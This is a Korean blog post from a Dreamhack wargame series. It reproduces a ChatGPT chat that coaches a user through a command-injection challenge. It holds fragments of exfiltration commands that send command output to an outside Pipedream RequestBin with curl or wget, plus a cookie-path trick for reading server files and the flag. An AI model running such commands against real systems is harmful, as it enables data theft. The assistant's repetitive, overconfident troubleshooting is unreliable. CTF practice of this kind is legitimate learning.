➡ 하지만 Pipedream에서 아무 요청도 오지 않음 ❌
✅ 1️⃣ RequestBin(Pipedream) URL이 잘못 설정되었는지 확인
🔹 URL 형식 확인
현재 사용한 URL:
✅ 올바른 URL인지 다시 확인해야 함.
➡ Pipedream에서 Trigger URL을 다시 확인하고, 올바른 URL을 사용했는지 점검.
🔹 https://를 http://로 변경하여 시도
✔ 일부 서버에서는 https:// 트래픽을 차단하는 경우가 있음.
✔ http:// 프로토콜로 변경하여 다시 시도.
✅ 2️⃣ 서버에서 curl 실행이 차단되었는지 확인
서버가 curl 실행을 차단했을 가능성 존재.
📌 다른 명령어로 RequestBin을 트리거할 수 있는지 확인
➡ 이 명령어가 실행되면, RequestBin에서 test라는 데이터가 와야 함.
➡ 아직도 아무 반응이 없다면, 서버가 curl 실행을 차단한 것일 가능성이 높음.
📌 Wget을 사용하여 시도 (wget이 허용될 수도 있음)
➡ 이 방법이 작동하는지 확인!
✅ 3️⃣ ls 실행은 성공했지만, 출력이 /tmp/에 저장된 경우
➡ 서버가 직접 RequestBin으로 데이터를 보내지 않고, ls 결과를 /tmp/에 저장했을 수도 있음.
📌 결과를 파일로 저장하고 직접 확인하는 방법
➡ 이제 /tmp/output.txt가 생성되었을 가능성이 있음.
📌 백업 기능을 이용하여 해당 파일을 확인
➡ 그런 다음 /backup_notes에서 /tmp/output.txt 내용이 보이는지 확인.
🚀 최종 시도 순서
✅ 1️⃣ RequestBin URL 확인 (http:// 사용해보기)
✅ 2️⃣ curl 실행이 차단되었는지 echo test로 확인
✅ 3️⃣ wget 방식으로 시도 (wget --post-file=- 사용)
✅ 4️⃣ ls 실행 결과를 /tmp/output.txt에 저장 후 확인
🚀 이제 다시 시도해보고 결과 알려줘! 🔥
나의 말:
ChatGPT의 말:
ㅋㅋㅋㅋ 개킹받네 진짜ㅋㅋㅋㅋ
오케이, 다시 한 번 체크해보자. 지금까지 했던 시도들을 정리하고, 뭘 놓쳤는지 확인해보자.
✅ 1️⃣ RequestBin (Pipedream) 요청이 안 오는 이유
🔹 1. RequestBin URL 문제?
✔ 너가 사용한 URL https://eok17showi9fd4vm.m.pipedream.net 확실히 맞아?
➡ Pipedream에서 URL이 바뀌진 않았는지 한 번 더 확인!
➡ 혹시 https 대신 http로 해야 하는지 체크!
➡ Pipedream에서 "Generate Event" 눌러서 URL이 살아있는지도 확인!
✔ 이거 실행해서 RequestBin에서 test=hello 오는지 확인해봐! ✔ 이것도 안 오면 RequestBin 문제임!
🔹 2. 서버에서 curl 실행이 막혀있을 가능성?
✔ 만약 서버에서 curl 실행이 아예 막혀 있다면, RequestBin으로 전송 자체가 안 될 수 있음.
➡ 그럼 다른 방법(Wget)으로 시도해봐야 함.
✔ 이걸로 RequestBin에서 반응이 오는지 확인!
🔹 3. 실행된 결과가 /tmp/ 어딘가에 저장된 가능성?
✔ 만약 명령 실행은 됐지만, 결과가 외부로 나가지 못하는 상황이라면?
➡ 그러면 /tmp/에 저장되었을 가능성이 높음.
✔ 이제 /tmp/output.txt가 생겼을 거임!
✔ 그럼 이제 이 파일을 불러와야겠지?
➡ 이렇게 해서 /backup_notes에서 확인할 수 있는지 체크해봐!
🚀 최종 점검 리스트
✅ 1️⃣ Pipedream RequestBin URL 맞는지 다시 확인 (test=hello 보내보기)
✅ 2️⃣ curl 실행이 막혔을 가능성? wget으로 전송해보기
✅ 3️⃣ 실행된 결과가 /tmp/에 저장되었을 가능성? output.txt로 확인
진짜 이거 안 되면 개킹받을 텐데ㅋㅋㅋ
🔥 한 번만 더 해보고 결과 알려줘! 🔥
나의 말:
ChatGPT의 말:
ㅇㅇ, Pipedream RequestBin 설정은 정상적으로 보임!
근데 현재 "LIVE EVENTS" 창이 비어있음.
즉, 서버에서 RequestBin으로 요청이 제대로 안 오고 있음! 😡
🚀 문제 원인 & 해결 방법
1️⃣ 서버에서 curl 실행이 안 되고 있을 가능성
현재 서버에서 curl 명령이 실행되지 않거나, 실행되더라도 인터넷으로 요청을 보내지 못하는 상태일 수도 있음.
📌 이거 확인하려면?
✔ 이걸 실행하면 RequestBin에 test가 떠야 함.
✔ 이것도 안 뜨면 서버에서 curl 자체가 막혀있을 가능성이 큼.
➡ 🔥 이거 실행하고 RequestBin에 이벤트가 뜨는지 확인해줘! 🔥
2️⃣ curl 대신 wget 사용해보기
✔ curl이 차단됐을 가능성이 있으니 wget을 사용해보자!
➡ RequestBin에 반응이 오는지 확인해봐!
3️⃣ 명령어 실행 결과가 /tmp/에 저장되고 있을 가능성
혹시 서버가 ls -lah /tmp/ 결과를 RequestBin으로 보내지 않고, 그냥 파일로 저장하는 상황일 수도 있음.
📌 그럼 이렇게 확인 가능!
➡ /tmp/output.txt에 결과가 저장될 테니까 이제 이 파일을 백업해서 가져와야 함.
📌 파일 내용 확인하기
➡ 이제 /backup_notes에서 확인 가능!
🔥 최종 점검 리스트
✅ 1️⃣ echo test | curl -X POST -d @- 실행해서 RequestBin 반응 확인!
✅ 2️⃣ wget 방식으로 데이터 전송 시도! (wget --post-file=-)
✅ 3️⃣ /tmp/output.txt 저장 후 파일 내용 확인!
🔥 이제 한 번만 더 시도해보고, 결과 알려줘! 🔥
나의 말:
ChatGPT의 말:
ㅋㅋㅋㅋ 개킹받네 진짜ㅋㅋㅋㅋ
RequestBin에 test도 안 뜨면 서버에서 curl 자체가 차단됐을 가능성이 높음.
➡ 그래도 아직 방법은 있음! 다른 우회 방법 시도해보자.
🚀 서버에서 curl이 막혀있을 때 우회 방법
1️⃣ wget을 사용해서 RequestBin으로 보내기
✔ curl이 안 되는 경우, wget을 사용하면 될 수도 있음.
➡ 이걸 실행해봐!
✔ 이렇게 하면 RequestBin에서 test가 떠야 함.
✔ 만약 이것도 안 뜨면, wget도 막혀있을 가능성이 높음.
2️⃣ nslookup이나 ping으로 서버가 인터넷 요청을 보낼 수 있는지 확인
✔ 혹시 서버 자체가 인터넷 연결을 못 하는 상황일 수도 있음.
➡ 이거 실행해서 체크해봐!
✔ RequestBin에 google.com의 IP가 떠야 함.
✔ 만약 이것도 안 뜨면, 서버에서 외부로 나가는 모든 요청이 막혀있는 거임.
3️⃣ /tmp/에 로그 저장한 후, 백업해서 확인
✔ 서버가 외부 인터넷 요청을 못 한다면, 결과를 /tmp/에 저장하고 확인해야 함.
✔ 이걸 실행해봐!
➡ 이제 /tmp/output.txt 파일이 생성됐을 거임.
➡ 이제 이 파일을 확인해야겠지?
✔ 파일 내용을 가져오는 요청
➡ 이제 /backup_notes 페이지에서 확인해봐!
➡ 만약 여기서 flag 관련 파일이 보이면 그걸 백업하면 됨.
🔥 결론
✅ 1️⃣ wget 사용해서 RequestBin으로 보내기
✅ 2️⃣ nslookup google.com 실행해서 서버가 인터넷 요청 가능한지 체크
✅ 3️⃣ /tmp/output.txt에 저장하고 그 파일을 가져오기
🔥 이거 순서대로 실행하고 결과 한 번만 더 확인해줘!
진짜 이거 안 되면 개킹받을 듯ㅋㅋㅋㅋ
나의 말:
Redirecting...
You should be redirected automatically to the target URL: /. If not, click the link.
ChatGPT의 말:
ㅋㅋㅋㅋㅋㅋ 개킹받네 진짜
RequestBin에 아무것도 안 뜨면
✅ 서버가 curl, wget 등 외부 요청을 전부 막아놨을 가능성이 매우 높음.
✅ 심지어 nslookup도 안 뜨는 거 보면 인터넷 연결 자체를 막았을 수도 있음.
✅ 즉, 이 서버에서는 RequestBin으로 데이터를 직접 보낼 방법이 없을 확률이 큼.
🚀 플랜 B: 서버 내에서 직접 파일 확인하기
이제 방법이 하나 남았음.
🔥 서버 내에서 파일을 저장한 후, 그 파일을 가져오는 방법 🔥
1️⃣ /tmp/ 디렉토리에 백업 저장
➡ /tmp/output.txt 파일이 생성될 거임.
2️⃣ /tmp/output.txt 내용 가져오기
➡ 이제 /backup_notes에서 확인 가능!
➡ 만약 여기서 flag.txt 같은 파일이 보이면 그걸 가져오면 됨.
🔥 최종 목표
✅ 서버가 인터넷 요청을 전부 차단한 상태라서 RequestBin을 못 씀.
✅ 따라서 /tmp/output.txt 파일을 만들어서 서버 내에서 직접 확인해야 함.
✅ ls -lah /tmp/ 결과를 파일로 저장한 후, /backup_notes를 통해 가져오기.
🔥 이거 실행하고 다시 한 번 확인해봐!
이제 진짜 답 나올 듯 ㅋㅋㅋㅋ
나의 말:
Redirecting...
You should be redirected automatically to the target URL: /. If not, click the link. C:\WINDOWS\system32>curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=/tmp/output.txt"
Redirecting...
You should be redirected automatically to the target URL: /. If not, click the link. 응 안돼~
ChatGPT의 말:
ㅋㅋㅋㅋㅋㅋ 개킹받네 진짜 이거 뭐냐ㅋㅋㅋㅋ
야 근데 서버가 아예 /tmp/output.txt에 접근도 못 하게 막아놨을 가능성 있음.
🔥 플랜 C: 백업 파일을 특정 경로로 저장해서 접근
이제 방법 하나 남았음.
✅ /tmp/ 말고 /var/www/html/ 같은 웹 접근 가능한 디렉토리에 저장해보자.
1️⃣ /var/www/html/에 파일 저장 시도
➡ 이러면 output.txt 파일이 /var/www/html/에 저장됨.
2️⃣ 직접 웹에서 확인
이제 웹에서 확인 가능해야 함.
➡ 브라우저에서 직접 접근해봐!
➡ 여기서 flag.txt 같은 거 보이면, 그 파일을 또 같은 방식으로 저장해서 접근.
🔥 최종 목표
✅ 서버가 /tmp/ 접근을 막았을 가능성이 크니까, 웹 접근 가능한 경로에 저장.
✅ 보통 /var/www/html/ 같은 디렉토리는 접근 가능하니까 거기에 저장.
✅ 이제 http://host1.dreamhack.games:17508/output.txt 에서 직접 확인.
🔥 이거 실행하고 확인 한 번만 더 부탁해!
진짜 안 되면 서버 개발자가 개악질인 거다 ㅋㅋㅋㅋ
나의 말:
ChatGPT의 말:
ㅋㅋㅋㅋㅋㅋㅋㅋㅋ 개킹받네 진짜
이거 서버 설정이 엄청 빡세게 막혀있는 상태라서 정상적인 우회 방법이 전부 차단당한 듯.
🔥 플랜 D: cat을 이용해서 직접 백업 내용 덤프
이제 마지막 남은 방법 하나 있음.
ls -lah /tmp/ 결과를 바로 cat으로 파일 내용처럼 읽어서 백업하는 방법.
1️⃣ cat 이용해서 강제 백업
➡ 이러면 /tmp/output.txt에 flag.txt 내용이 강제 저장될 거임.
2️⃣ /tmp/output.txt 내용 확인
➡ 이제 /backup_notes 페이지에서 flag가 나와야 함.
🔥 왜 이 방법이 가능할까?
✅ 서버가 /tmp/ 파일 접근을 막았어도, cat을 이용해서 강제 덤프하면 우회 가능.
✅ ls -lah는 파일 리스트만 나오지만, cat을 쓰면 파일 내부 내용이 저장됨.
✅ 결국 /tmp/output.txt에 flag 내용이 저장될 거라서, 그걸 불러오면 됨.
🔥 이제 진짜 답 나올 때 됐다ㅋㅋㅋ
이거 실행하고 다시 확인 한 번 해봐!
'Dreamhack > Dreamhack Wargame (Challenge)' 카테고리의 다른 글
[154] IT 비전공자 [dreamhack]Badge문제 풀기 (0) | 2025.02.11 |
---|---|
[153] IT 비전공자 [dreamhack]INVERSE문제 풀기 (0) | 2025.02.10 |
[152] IT 비전공자 [dreamhack]Insecure Seed문제 풀기 (0) | 2025.02.10 |
[151] IT 비전공자 [dreamhack]Password in the gift box문제 풀기 (0) | 2025.02.10 |
[150] IT 비전공자 [dreamhack]No shift please!문제 풀기 (0) | 2025.02.07 |